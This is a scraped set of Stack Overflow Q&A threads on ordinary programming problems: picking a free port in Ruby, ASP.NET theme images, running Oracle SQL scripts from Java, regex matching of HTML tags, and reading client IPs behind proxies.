<p>I'm trying to create a use-once HTTP server to handle a single callback and need help with finding a free TCP port in Ruby.</p> <p>This is the skeleton of what I'm doing:</p> <pre><code>require 'socket' t = STDIN.read port = 8081 while s = TCPServer.new('127.0.0.1', port).accept puts s.gets s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t s.close exit end </code></pre> <p>(It echoes standard input to the first connection and then dies.)</p> <p>How can I automatically find a free port to listen on? </p> <p>This seems to be the only way to start a job on a remote server which then calls back with a unique job ID. This job ID can then be queried for status info. Why the original designers couldn't just return the job ID when scheduling the job I'll never know. A single port cannot be used because conflicts with multiple callbacks may occur; in this way the ports are only used for +- 5 seconds.</p>
[ { "answer_id": 200517, "author": "gnud", "author_id": 27204, "author_profile": "https://Stackoverflow.com/users/27204", "pm_score": -1, "selected": true, "text": "<p>I guess you could try all ports > 5000 (for example) in sequence. But how will you communicate to the client program what port you are listening to? It seems simpler to decide on a port, and then make it easily configurable, if you need to move your script between different enviroments.</p>\n\n<p>For HTTP, the standard port is 80. Alternative ports i've seen used are 8080, 880 and 8000.</p>\n" }, { "answer_id": 200590, "author": "Tometzky", "author_id": 15862, "author_profile": "https://Stackoverflow.com/users/15862", "pm_score": -1, "selected": false, "text": "<p>Don't communicate on random ports. Pick a default one and make it configurable. Random ports are incompatible with firewalls. FTP does this and firewall support for it is a nightmare - it has to deeply inspect packets.</p>\n" }, { "answer_id": 200795, "author": "Marius Marais", "author_id": 13455, "author_profile": "https://Stackoverflow.com/users/13455", "pm_score": 2, "selected": false, "text": "<p>It is actually quite easy when you don't try to do everything in one line :-/</p>\n\n<pre><code>require 'socket'\nt = STDIN.read\n\nport = 8080 # preferred port\nbegin\n server = TCPServer.new('127.0.0.1', port) \nrescue Errno::EADDRINUSE\n port = rand(65000 - 1024) + 1024\n retry\nend\n\n# Start remote process with the value of port\n\nsocket = server.accept\nputs socket.gets\nsocket.print \"HTTP/1.1 200/OK\\rContent-type: text/plain\\r\\n\\r\\n\" + t\nsocket.close\n</code></pre>\n\n<p>This accomplishes (strong word) the same as the snippet in the question.</p>\n" }, { "answer_id": 201528, "author": "Aaron Hinni", "author_id": 12086, "author_profile": "https://Stackoverflow.com/users/12086", "pm_score": 6, "selected": false, "text": "<p>Pass 0 in for the port number. This will cause the system to pick a port for you out of the ephemeral port range. Once you create the server, you can ask it for its addr, which will contain the port that the server is bound to.</p>\n\n<pre><code>server = TCPServer.new('127.0.0.1', 0)\nport = server.addr[1]\n</code></pre>\n" }, { "answer_id": 51768770, "author": "zw963", "author_id": 749774, "author_profile": "https://Stackoverflow.com/users/749774", "pm_score": 0, "selected": false, "text": "<p>Maybe you want test weather one port is listening, following is worked for me\n<code>system('(6&lt;&gt;/dev/tcp/127.0.0.1/9292) &amp;&gt;/dev/null')</code>, return true if 9292 is listening, otherwise, return false.</p>\n" }, { "answer_id": 52640658, "author": "yegor256", "author_id": 187141, "author_profile": "https://Stackoverflow.com/users/187141", "pm_score": 1, "selected": false, "text": "<p>You can try <a href=\"https://github.com/yegor256/random-port\" rel=\"nofollow noreferrer\">random-port</a>, a simple Ruby gem (I'm the author):</p>\n<pre><code>require 'random-port'\nport = RandomPort::Pool.new.aquire\n</code></pre>\n<p>The best way, though, is to release it afterward:</p>\n<pre><code>RandomPort::Pool::SINGLETON.new.acquire do |port|\n # Use the TCP port, it will be returned back\n # to the pool afterward.\nend\n</code></pre>\n<p>The pool is thread-safe and it guarantees that the port won't be used by another thread or anywhere else in the app, until it's released.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200484", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13455/" ]
I'm trying to create a use-once HTTP server to handle a single callback and need help with finding a free TCP port in Ruby. This is the skeleton of what I'm doing: ``` require 'socket' t = STDIN.read port = 8081 while s = TCPServer.new('127.0.0.1', port).accept puts s.gets s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t s.close exit end ``` (It echoes standard input to the first connection and then dies.) How can I automatically find a free port to listen on? This seems to be the only way to start a job on a remote server which then calls back with a unique job ID. This job ID can then be queried for status info. Why the original designers couldn't just return the job ID when scheduling the job I'll never know. A single port cannot be used because conflicts with multiple callbacks may occur; in this way the ports are only used for +- 5 seconds.
I guess you could try all ports > 5000 (for example) in sequence. But how will you communicate to the client program what port you are listening to? It seems simpler to decide on a port, and then make it easily configurable, if you need to move your script between different enviroments. For HTTP, the standard port is 80. Alternative ports i've seen used are 8080, 880 and 8000.
200,488
<p>How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of:</p> <p>asp:image ID="Image1" runat="server" ImageUrl="~/Web/Mode1.jpg" /</p> <p>where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.</p>
[ { "answer_id": 200840, "author": "Joe", "author_id": 13087, "author_profile": "https://Stackoverflow.com/users/13087", "pm_score": 0, "selected": false, "text": "<p>Not sure if I understood your question right, but if you have an image in a skin file, such as the following, it will come by default from the theme folder:</p>\n\n<pre><code>&lt;asp:Image runat=\"server\" ImageUrl=\"filename.ext\" /&gt;\n</code></pre>\n\n<p>If you want it to come from a subfolder Web of the theme folder, use a relative path:</p>\n\n<pre><code>&lt;asp:Image runat=\"server\" ImageUrl=\"Web/filename.ext\" /&gt;\n</code></pre>\n\n<p>Your example specifies a subfolder of the application root directory:</p>\n\n<pre><code>&lt;asp:image ID=\"Image1\" runat=\"server\" ImageUrl=\"~/Web/Mode1.jpg\"/&gt; \n</code></pre>\n\n<p>See <a href=\"http://msdn.microsoft.com/en-us/library/ykzx33wh.aspx\" rel=\"nofollow noreferrer\">the MSDN page on themes and skins</a>.</p>\n" }, { "answer_id": 201027, "author": "Elijah Manor", "author_id": 4481, "author_profile": "https://Stackoverflow.com/users/4481", "pm_score": 5, "selected": true, "text": "<p>If you are wanting to reference an Image in your Theme folder, then I suggesting using a SkinId. Inside the skin file of each Theme Folder you would define something like this</p>\n\n<pre><code>&lt;asp:Image runat=\"server\" SkinId=\"HomeImage\" ImageUrl=\"Images/HomeImage.gif\" /&gt;\n</code></pre>\n\n<p>When you go to use the image in your code you do something like this...</p>\n\n<pre><code>&lt;asp:Image runat=\"server\" SkinId=\"HomeImage\" /&gt;\n</code></pre>\n\n<p>Depending on the theme your application has picked it will pick up the correct image from the correct Theme folder.</p>\n\n<pre><code>MyWebSite\n App_Themes\n Theme1\n Default.skin\n Default.css\n Images\n HomeImage.gif\n Theme2\n Default.skin\n Default.css\n Images\n HomeImage.gif\n</code></pre>\n\n<p>Here is a <a href=\"http://www.odetocode.com/articles/423.aspx\" rel=\"noreferrer\">good article</a> explaining how to use themes, skins, and to set the theme several different ways.</p>\n" }, { "answer_id": 230487, "author": "dewde", "author_id": 2640, "author_profile": "https://Stackoverflow.com/users/2640", "pm_score": 2, "selected": false, "text": "<p>Does anyone else have insight into this question?</p>\n\n<p>Another option is to extend the base page. I added a function which will return the path of an image based on the current theme.</p>\n\n<p><strong>MyBasePage.vb</strong></p>\n\n<pre><code>Private strThemePath As String = \"\"\nPrivate strThemedImagePath As String = \"\"\n\nPublic Function ThemedImage(ByVal ImageName As String) As String\n Return Me.strThemedImagePath &amp; ImageName\nEnd Function\n\nPrivate Sub Page_PreInit(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreInit \n Me.strThemePath = \"App_Themes/\" &amp; Me.Theme &amp; \"/\"\n Me.strThemedImagePath = Me.strThemePath &amp; \"Images/\"\nEnd Sub\n</code></pre>\n\n<p><strong>MyPage.aspx</strong></p>\n\n<pre><code>&lt;img src='&lt;%= Me.ThemedImage(\"Loading_wait.gif\") %&gt;'&gt; \n</code></pre>\n" }, { "answer_id": 330329, "author": "Sprintstar", "author_id": 15233, "author_profile": "https://Stackoverflow.com/users/15233", "pm_score": 0, "selected": false, "text": "<p>There must be an easier way surely? For example, if I want to create a HyperLink control, and I want to specify an image for it, but that image is in a theme, how do I do it? I want the theme for the entire app to be controlled from web.config (eg <code>&lt;page theme=\"MyTheme\"&gt;</code>), I don't want to have to specify a theme for every item in my site.</p>\n\n<p>edit: I have kind of answered my own question. I create in a skin file, this control:</p>\n\n<pre><code>&lt;asp:Hyperlink runat=\"Server\" SkinId=\"HyperlinkOne\"\nImageUrl=\"Images/one.png\" Text=\"One\" NavigateUrl=\"~/PageOne.aspx\"/&gt;\n</code></pre>\n\n<p>Then in my code I simply do this:</p>\n\n<pre><code>HyperLink hl = new HyperLink();\nhl.SkinID = \"HyperlinkOne\";\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200488", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16989/" ]
How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of: asp:image ID="Image1" runat="server" ImageUrl="~/Web/Mode1.jpg" / where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.
If you are wanting to reference an Image in your Theme folder, then I suggesting using a SkinId. Inside the skin file of each Theme Folder you would define something like this ``` <asp:Image runat="server" SkinId="HomeImage" ImageUrl="Images/HomeImage.gif" /> ``` When you go to use the image in your code you do something like this... ``` <asp:Image runat="server" SkinId="HomeImage" /> ``` Depending on the theme your application has picked it will pick up the correct image from the correct Theme folder. ``` MyWebSite App_Themes Theme1 Default.skin Default.css Images HomeImage.gif Theme2 Default.skin Default.css Images HomeImage.gif ``` Here is a [good article](http://www.odetocode.com/articles/423.aspx) explaining how to use themes, skins, and to set the theme several different ways.
200,513
<p>i have a bunch of sql scripts that should upgrade the database when the java web application starts up.</p> <p>i tried using the ibatis scriptrunner, but it fails gloriously when defining triggers, where the ";" character does not mark an end of statement.</p> <p>now i have written my own version of a script runner, which basically does the job, but destroys possible formatting and comments, especially in "create or replace view".</p> <pre><code>public class ScriptRunner { private final DataSource ds; public ScriptRunner(DataSource ds) { this.ds = ds; } public void run(InputStream sqlStream) throws SQLException, IOException { sqlStream.reset(); final Statement statement = ds.getConnection().createStatement(); List&lt;String&gt; sqlFragments = createSqlfragments(sqlStream); for (String toRun : sqlFragments) { if (toRun.length() &gt; 0) { statement.execute(toRun); } } } private static List&lt;String&gt; createSqlfragments(InputStream sqlStream) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream)); List&lt;String&gt; ret = new ArrayList&lt;String&gt;(); String line; StringBuilder script = new StringBuilder(); while ((line = br.readLine()) != null) { if (line.equals("/")) { ret.add(removeMultilineComments(script)); script = new StringBuilder(); } else { //strip comments final int indexComment = line.indexOf("--"); String lineWithoutComments = (indexComment != -1) ? line.substring(0, indexComment) : line; script.append(lineWithoutComments).append(" "); } } if (script.length() &gt; 0) { ret.add(removeMultilineComments(script)); } return ret; } private static String removeMultilineComments(StringBuilder script) { return script.toString().replaceAll("/\\*(.*?)\\*/", "").trim(); } </code></pre> <p>is there a clean way to acieve this? is there something in hibernate i have not seen? or can i pass an inputstream to sqlplus somehow? besides my worries about the formatting, i doubt that this code is error-free, since i have limited knowledge about the pl/sql syntax.</p>
[ { "answer_id": 200608, "author": "anjanb", "author_id": 11142, "author_profile": "https://Stackoverflow.com/users/11142", "pm_score": 2, "selected": false, "text": "<p>sqlplus : yes you can. I run sqlplus from within Xemacs(editor) all the time. So, you can run sqlplus in an interpreted mode and then provide it commands and read the output as well.</p>\n\n<p>Another ways is to download the free java based SQL developer tool from oracle (<a href=\"http://www.oracle.com/technology/software/products/sql/index.html\" rel=\"nofollow noreferrer\">http://www.oracle.com/technology/software/products/sql/index.html</a>). it comes with a sqlcli.bat utility which is a wrapper over a java program. You might want to use this command line utility to do your work.</p>\n\n<p>summary, I would try running sqlplus in the background and provide it's input and reading its output (like emacs does).</p>\n" }, { "answer_id": 200688, "author": "tunaranch", "author_id": 27708, "author_profile": "https://Stackoverflow.com/users/27708", "pm_score": 0, "selected": false, "text": "<p>If you want to write your own script runner, you can use Spring JDBC's SimpleJdbcTemplate (<a href=\"http://static.springframework.org/spring/docs/2.0.x/reference/jdbc.html\" rel=\"nofollow noreferrer\">http://static.springframework.org/spring/docs/2.0.x/reference/jdbc.html</a>).</p>\n\n<p>You can, of course, load the scripts as you would any resource in Spring as well.</p>\n" }, { "answer_id": 216234, "author": "Dilshod Tadjibaev", "author_id": 29122, "author_profile": "https://Stackoverflow.com/users/29122", "pm_score": 0, "selected": false, "text": "<p>You can see other people's implementations. See this resource: \"Open Source SQL Clients in Java\" <a href=\"http://java-source.net/open-source/sql-clients\" rel=\"nofollow noreferrer\">http://java-source.net/open-source/sql-clients</a> </p>\n" }, { "answer_id": 232854, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>The iBATIS ScriptRunner has a <code>setDelimiter(String, boolean)</code> method. This allows you to have a string other than \";\" to be the separator between SQL statements.</p>\n\n<p>In your Oracle SQL script, separate the statements with a \"/\" (slash).</p>\n\n<p>In your Java code, before calling the <code>runScript</code> do a <code>setDelimter(\"/\", false)</code> which will instruct the ScriptRunner to recognize \"/\" as statement separator.</p>\n" }, { "answer_id": 2251863, "author": "Nitin", "author_id": 271837, "author_profile": "https://Stackoverflow.com/users/271837", "pm_score": 3, "selected": false, "text": "<p>Use below solution for your reference , i have tried and tested and running successfully.</p>\n\n<pre><code>private static String script_location = \"\";\nprivate static String file_extension = \".sql\";\nprivate static ProcessBuilder processBuilder =null;\n\npublic static void main(String[] args) {\n try {\n File file = new File(\"C:/Script_folder\");\n File [] list_files= file.listFiles(new FileFilter() {\n\n public boolean accept(File f) {\n if (f.getName().toLowerCase().endsWith(file_extension))\n return true;\n return false;\n }\n });\n for (int i = 0; i&lt;list_files.length;i++){\n script_location = \"@\" + list_files[i].getAbsolutePath();//ORACLE\n processBuilder = new ProcessBuilder(\"sqlplus\", \"UserName/Password@database_name\", script_location); //ORACLE\n //script_location = \"-i\" + list_files[i].getAbsolutePath();\n // processBuilder = new ProcessBuilder(\"sqlplus\", \"-Udeep-Pdumbhead-Spc-de-deep\\\\sqlexpress-de_com\",script_location);\n processBuilder.redirectErrorStream(true);\n Process process = processBuilder.start();\n BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));\n String currentLine = null;\n while ((currentLine = in.readLine()) != null) {\n System.out.println(\" \" + currentLine);\n }\n }\n } catch (IOException e) {\n e.printStackTrace();\n }catch(Exception ex){\n ex.printStackTrace();\n }\n}\n</code></pre>\n\n<p>Use this snippet code and try and run.</p>\n\n<p>Thanx to user mentioned the solution in the below link:</p>\n\n<p><a href=\"http://forums.sun.com/thread.jspa?threadID=5413026\" rel=\"noreferrer\">http://forums.sun.com/thread.jspa?threadID=5413026</a></p>\n\n<p>Regards | Nitin</p>\n" }, { "answer_id": 7818205, "author": "alf", "author_id": 562388, "author_profile": "https://Stackoverflow.com/users/562388", "pm_score": 2, "selected": false, "text": "<p>Had the same problem not so long ago, bumped into your question several times while googling for a solution, so I think I owe you—here are my findings so far:</p>\n\n<p>In brief, there are no ready solutions for that: if you open <a href=\"http://java2s.com/Open-Source/Java-Document-2/Database/solidbase/solidbase/core/SQLSource.java.htm\" rel=\"nofollow\">Ant</a> or <a href=\"http://svn.codehaus.org/mojo/tags/sql-maven-plugin-1.5/src/main/java/org/codehaus/mojo/sql/SqlSplitter.java\" rel=\"nofollow\">Maven</a> sources, you'll see they are using a simple regexp-based script splitter which is fine for simple scripts, but usually fails on e.g. stored procedures. Same story with iBATIS, c5 db migrations, etc.</p>\n\n<p>The problem is, there's more than one language involved: in order to run \"SQL Scripts\" one must be able to handle (1) SQL, (2) PL/SQL, and (3) sqlplus commands.</p>\n\n<p>Running <code>sqlplus</code> itself is the way indeed, but it creates configuration mess, so we tried to avoid this option.</p>\n\n<p>There are ANTLR parsers for PL/SQL, such as <a href=\"https://github.com/porcelli/plsql-parser\" rel=\"nofollow\">Alexandre Porcelli's one</a>—those are very close, but no one prepared a complete drop-in solution based on those so far.</p>\n\n<p>We ended up writing <a href=\"https://github.com/gxa/gxa/blob/9b93279d2ecda588c517dbe9dfc9f1546f4ad25a/atlas-updates/src/main/java/uk/ac/ebi/gxa/db/OracleScriptSplitter.java\" rel=\"nofollow\">yet another ad hoc splitter</a> which is aware of some sqlplus commands like <code>/</code> and <code>EXIT</code>— it's still ugly, but works for most of our scripts. (Note though some scripts, e.g., with trailing <code>--</code> comments, won't work—it's still a kludge, not a solution.)</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200513", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16542/" ]
i have a bunch of sql scripts that should upgrade the database when the java web application starts up. i tried using the ibatis scriptrunner, but it fails gloriously when defining triggers, where the ";" character does not mark an end of statement. now i have written my own version of a script runner, which basically does the job, but destroys possible formatting and comments, especially in "create or replace view". ``` public class ScriptRunner { private final DataSource ds; public ScriptRunner(DataSource ds) { this.ds = ds; } public void run(InputStream sqlStream) throws SQLException, IOException { sqlStream.reset(); final Statement statement = ds.getConnection().createStatement(); List<String> sqlFragments = createSqlfragments(sqlStream); for (String toRun : sqlFragments) { if (toRun.length() > 0) { statement.execute(toRun); } } } private static List<String> createSqlfragments(InputStream sqlStream) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream)); List<String> ret = new ArrayList<String>(); String line; StringBuilder script = new StringBuilder(); while ((line = br.readLine()) != null) { if (line.equals("/")) { ret.add(removeMultilineComments(script)); script = new StringBuilder(); } else { //strip comments final int indexComment = line.indexOf("--"); String lineWithoutComments = (indexComment != -1) ? line.substring(0, indexComment) : line; script.append(lineWithoutComments).append(" "); } } if (script.length() > 0) { ret.add(removeMultilineComments(script)); } return ret; } private static String removeMultilineComments(StringBuilder script) { return script.toString().replaceAll("/\\*(.*?)\\*/", "").trim(); } ``` is there a clean way to acieve this? is there something in hibernate i have not seen? or can i pass an inputstream to sqlplus somehow? besides my worries about the formatting, i doubt that this code is error-free, since i have limited knowledge about the pl/sql syntax.
The iBATIS ScriptRunner has a `setDelimiter(String, boolean)` method. This allows you to have a string other than ";" to be the separator between SQL statements. In your Oracle SQL script, separate the statements with a "/" (slash). In your Java code, before calling the `runScript` do a `setDelimter("/", false)` which will instruct the ScriptRunner to recognize "/" as statement separator.
200,525
<p>Here is the input (html, not xml):</p> <pre><code>... html content ... &lt;tag1&gt; content for tag 1 &lt;/tag1&gt; &lt;tag2&gt; content for tag 2 &lt;/tag2&gt; &lt;tag3&gt; content for tag 3 &lt;/tag3&gt; ... html content ... </code></pre> <p>I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal.</p> <p>In other words:</p> <pre><code>match.Groups["name"] would be "tag1" match.Groups["value"] would be "content for tag 2" </code></pre> <p>Any ideas?</p>
[ { "answer_id": 200540, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "<p>Is the data proper xml, or does it just look like it?</p>\n\n<p>If it is html, then the <a href=\"http://www.codeplex.com/htmlagilitypack\" rel=\"nofollow noreferrer\">HTML Agility Pack</a> is worth investigation - this provides a DOM (similar to XmlDocument) that you can use to query the data:</p>\n\n<pre><code>string input = @\"&lt;html&gt;...some html content &lt;b&gt; etc &lt;/b&gt; ...\n&lt;user&gt; hello &lt;b&gt;mitch&lt;/b&gt; &lt;/user&gt;\n...some html content &lt;b&gt; etc &lt;/b&gt; ...\n&lt;message&gt; some html &lt;i&gt;message&lt;/i&gt; &lt;a href....&gt;bla&lt;/a&gt; &lt;/message&gt;\n...some html content &lt;b&gt; etc &lt;/b&gt; ...&lt;/html&gt;\";\n\n HtmlDocument doc = new HtmlDocument();\n doc.LoadHtml(input);\n foreach (HtmlNode node in doc.DocumentNode.SelectNodes(\"//user | //message\"))\n {\n Console.WriteLine(\"{0}: {1}\", node.Name, node.InnerText);\n // or node.InnerHtml to keep the formatting within the content\n }\n</code></pre>\n\n<p>This outputs:</p>\n\n<pre><code>user: hello mitch\nmessage: some html message bla\n</code></pre>\n\n<p>If you want the formatting tags, then use .InnerHtml instead of .InnerText.</p>\n\n<p>If it is xml, then to code with the full spectrum of xml, it would be better to use an xml parser. For small-to-mid size xml, loading it into a DOM such as XmlDocument would be fine - then query the nodes (for example, \"//*\"). For huge xml, XmlReader might be an option.</p>\n\n<p>If the data doesn't have to worry about the full xml, then some simple regex shouldn't be too tricky... a simplified example (no attributes, no namespaces, no nested xml) might be:</p>\n\n<pre><code>string input = @\"blah &lt;tag1&gt; content for tag 1 &lt;/tag1&gt; blop\n&lt;tag2&gt; content for tag 2 &lt;/tag2&gt; bloop\n&lt;tag3&gt; content for tag 3 &lt;/tag3&gt; blip\";\n\n const string pattern = @\"&lt;(\\w+)&gt;\\s*([^&lt;&gt;]*)\\s*&lt;/(\\1)&gt;\";\n Console.WriteLine(Regex.IsMatch(input, pattern));\n foreach(Match match in Regex.Matches(input, pattern)) {\n Console.WriteLine(\"{0}: {1}\", match.Groups[1], match.Groups[2]);\n }\n</code></pre>\n" }, { "answer_id": 200551, "author": "Zsolt Botykai", "author_id": 11621, "author_profile": "https://Stackoverflow.com/users/11621", "pm_score": 1, "selected": false, "text": "<p>Regex for this might be:</p>\n\n<pre><code>/&lt;([^&gt;]+)&gt;([^&lt;]+)&lt;\\/\\1&gt;/\n</code></pre>\n\n<p>But it's general as I don't know much about the escaping machanism of .NET. To translate it: </p>\n\n<ul>\n<li>first group matches the first tag's name between &lt; and ></li>\n<li>second group matches the contents (from > to the next &lt;</li>\n<li>the end check if the first tag is closed</li>\n</ul>\n\n<p>HTH </p>\n" }, { "answer_id": 200553, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": true, "text": "<p>I don't see why you would want to use match group names for that.</p>\n\n<p>Here is a regular expression that would match tag name and tag content into numbered sub matches.</p>\n\n<pre><code>&lt;(tag1|tag2|tag3)&gt;(.*?)&lt;/$1&gt;\n</code></pre>\n\n<p>Here is a variant with .NET style group names</p>\n\n<pre><code>&lt;(?'name'tag1|tag2|tag3)&gt;(?'value'.*?)&lt;/\\k'name'&gt;.\n</code></pre>\n\n<p>EDIT</p>\n\n<p>RegEx adapted as per question author's clarification.</p>\n" }, { "answer_id": 200557, "author": "david", "author_id": 27600, "author_profile": "https://Stackoverflow.com/users/27600", "pm_score": 0, "selected": false, "text": "<p>This will give you named capture groups for what you want. It won't work for nested tags, however.</p>\n\n<p><code>\n/&lt;(?&lt;name&gt;[^&gt;]+)&gt;(?&lt;value&gt;[^&lt;]+)&lt;/\\1&gt;/\n</code></p>\n" }, { "answer_id": 200571, "author": "mitch", "author_id": 27787, "author_profile": "https://Stackoverflow.com/users/27787", "pm_score": 1, "selected": false, "text": "<p>Thanks all but none of the regexes work. :( Maybe I wasn't specific enough, sorry for that. Here is the exact html i'm trying to parse:</p>\n\n<pre><code>...some html content &lt;b&gt; etc &lt;/b&gt; ...\n&lt;user&gt; hello &lt;b&gt;mitch&lt;/b&gt; &lt;/user&gt;\n...some html content &lt;b&gt; etc &lt;/b&gt; ...\n&lt;message&gt; some html &lt;i&gt;message&lt;/i&gt; &lt;a href....&gt;bla&lt;/a&gt; &lt;/message&gt;\n...some html content &lt;b&gt; etc &lt;/b&gt; ...\n</code></pre>\n\n<p>I hope it's clearer now. I'm after USER and MESSAGE tags.</p>\n\n<p>I need to get two matches, each with two groups. First group wpould give me tag name (user or message) and the second group would give me entire inner text of the tag.</p>\n" }, { "answer_id": 200703, "author": "ICR", "author_id": 214, "author_profile": "https://Stackoverflow.com/users/214", "pm_score": 1, "selected": false, "text": "<p>The problem was that the ([^&lt;]*) people were using to match things inside the tags were matching the opening &lt; of the nested tags, and then the closing tag of the nested tag didn't match the outer tag and so the regex failed.</p>\n\n<p>Here is a slightly more robust version of Tomalak's regex allowing for attributes and whitespace:</p>\n\n<pre><code>Regex tagRegex = new Regex(@\"&lt;\\s*(?&lt;tag&gt;\" + string.Join(\"|\", tags) + @\")[^&gt;]*&gt;(?&lt;content&gt;.*?)&lt;\\s*/\\s*\\k&lt;tag&gt;\\s*&gt;\", RegexOptions.IgnoreCase);\n</code></pre>\n\n<p>Obviously if you're only ever going to need to use a specific set of tags you can replace the</p>\n\n<pre><code>string.Joing(\"|\", tags)\n</code></pre>\n\n<p>with the hardcoded pipe seperated list of tags.</p>\n\n<p>Limitations of the regex are that if you have one tag you are trying to match nested inside another it will only match the outer tag. i.e.</p>\n\n<blockquote>\n <p>&lt;user>abc&lt;message>def&lt;/message>ghi&lt;/user></p>\n</blockquote>\n\n<p>It will match the outer user tag, but not the inner message tag.</p>\n\n<p>It also doesn't handle >'s quoted in attributes like so:</p>\n\n<blockquote>\n <p>&lt;user attrib=\"oops>\"></p>\n</blockquote>\n\n<p>It will just match</p>\n\n<blockquote>\n <p>&lt;user attrib=\"oops></p>\n</blockquote>\n\n<p>as the tag and the</p>\n\n<blockquote>\n <p>\"></p>\n</blockquote>\n\n<p>will be a part of the tags content.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200525", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27787/" ]
Here is the input (html, not xml): ``` ... html content ... <tag1> content for tag 1 </tag1> <tag2> content for tag 2 </tag2> <tag3> content for tag 3 </tag3> ... html content ... ``` I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal. In other words: ``` match.Groups["name"] would be "tag1" match.Groups["value"] would be "content for tag 2" ``` Any ideas?
I don't see why you would want to use match group names for that. Here is a regular expression that would match tag name and tag content into numbered sub matches. ``` <(tag1|tag2|tag3)>(.*?)</$1> ``` Here is a variant with .NET style group names ``` <(?'name'tag1|tag2|tag3)>(?'value'.*?)</\k'name'>. ``` EDIT RegEx adapted as per question author's clarification.
200,527
<p>I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is</p> <pre><code>Request.UserHostAddress </code></pre> <p>What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.</p>
[ { "answer_id": 200546, "author": "Node", "author_id": 7190, "author_profile": "https://Stackoverflow.com/users/7190", "pm_score": 1, "selected": false, "text": "<p>I assume you are behind a NAT/Reverse Proxy so I think you have to use:</p>\n\n<pre><code>Request.ServerVariables(\"REMOTE_ADDR\") \n</code></pre>\n\n<p>Most likely 172.16.0.0/12 is your privat LAN where 172.16.16.248 is your own address and 172.16.16.1 the address of your router/proxy. </p>\n" }, { "answer_id": 200596, "author": "Mathieu Garstecki", "author_id": 22078, "author_profile": "https://Stackoverflow.com/users/22078", "pm_score": 4, "selected": true, "text": "<p>This looks like the work of a reverse proxy.\nWhen you use a reverse proxy, the client connects to the proxy, which itself opens a new connection to your server. Since ASP.NET uses the infos of the incoming connection to fill the user address, you get the address of the reverse proxy.</p>\n\n<p>If you are indeed in this configuration, you'll need help from the reverse proxy to get the right information. Most reverse proxies offer the possibility to add a header to the HTTP request, with the real IP address of the client. Check the documentation of your proxy.</p>\n" }, { "answer_id": 200615, "author": "Andrew Edgecombe", "author_id": 11694, "author_profile": "https://Stackoverflow.com/users/11694", "pm_score": 0, "selected": false, "text": "<p>The two addresses you've listed there are from one of the ranges defined as being private.\n(see <a href=\"http://en.wikipedia.org/wiki/Private_network\" rel=\"nofollow noreferrer\">here</a> for description)</p>\n\n<p>It sounds more like you're picking up the internal address of your own firewall(s)?</p>\n" }, { "answer_id": 200661, "author": "Dave Anderson", "author_id": 371, "author_profile": "https://Stackoverflow.com/users/371", "pm_score": 5, "selected": false, "text": "<p>You might want to something like this;</p>\n\n<pre><code>string SourceIP = String.IsNullOrEmpty(Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"]) ? Request.ServerVariables[\"REMOTE_ADDR\"] : Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"].Split(\",\")[0];\n</code></pre>\n\n<p>The HTTP_X_FORWARDED_FOR header gets the IP address behind proxy servers.</p>\n\n<p>See this page that explains why in more detail; <a href=\"http://web.archive.org/web/20150420025505/http://thepcspy.com/read/getting_the_real_ip_of_your_users/\" rel=\"noreferrer\">Getting The Real IP of your Users</a></p>\n" }, { "answer_id": 1079415, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Request.ServerVariables(\"REMOTE_ADDR\") isn't work. \nthis problem is because ur server is probably behind some proxy.(or connected to internet via some network) or your router settings are set as NAT (Network Address Translation) this technique doesnt pass ip to server. in such situations u can't get IP address using Asp.net\nhowever Java Provide applet using which u can get IP Address in any case.</p>\n\n<p>( for Netscape, Mozilla and Firefox only, and Java must be enabled)</p>\n\n<pre><code>&lt;script language=\"javascript\" type=\"text/javascript\"&gt; \n\nif (navigator.appName.indexOf(\"Netscape\") != -1){\nip = \"\" + java.net.InetAddress.getLocalHost().getHostAddress();\ndocument.write(\"&lt;b&gt;Your IP address is \" + ip+'&lt;/b&gt;');\n}\nelse {\ndocument.write(\"&lt;b&gt;IP Address only shown in Netscape with Java enabled!&lt;/b&gt;\");\n}\n\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 13157546, "author": "tomfanning", "author_id": 17971, "author_profile": "https://Stackoverflow.com/users/17971", "pm_score": 3, "selected": false, "text": "<p>Building on Dave Anderson's answer, here is a snippet that takes into account a chain of reverse proxies.</p>\n\n<pre><code>string forwardedFor = Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"];\n\nstring ipStr = string.IsNullOrWhiteSpace(forwardedFor) \n ? Request.ServerVariables[\"REMOTE_ADDR\"] \n : forwardedFor.Split(',').Select(s 